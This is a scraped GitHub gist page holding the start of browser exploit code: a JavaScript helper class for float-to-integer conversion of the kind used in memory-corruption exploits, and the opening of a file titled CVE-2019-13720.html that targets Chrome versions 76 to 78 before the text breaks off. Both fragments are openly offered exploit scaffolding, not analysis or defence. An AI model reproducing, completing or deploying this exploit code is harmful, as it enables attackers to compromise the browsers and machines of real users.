Skip to content

Instantly share code, notes, and snippets.

View 0x2l's full-sized avatar
🤡

0x2l 0x2l

🤡
View GitHub Profile
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}
ftoi(f) {
@zu1k
zu1k / CVE-2019-13720.html
Created June 21, 2020 03:33
CVE-2019-13720
<script>
function main() {
// 检查 chrome 版本号需要是 76-78
try {
var browserVersion = navigator.userAgent.split("Chrome/")[1].split(" Safari/")[0];
majorVersion = parseInt(browserVersion.substr(0, 2));
if (majorVersion != 77 && majorVersion != 76 && majorVersion != 78) {
return;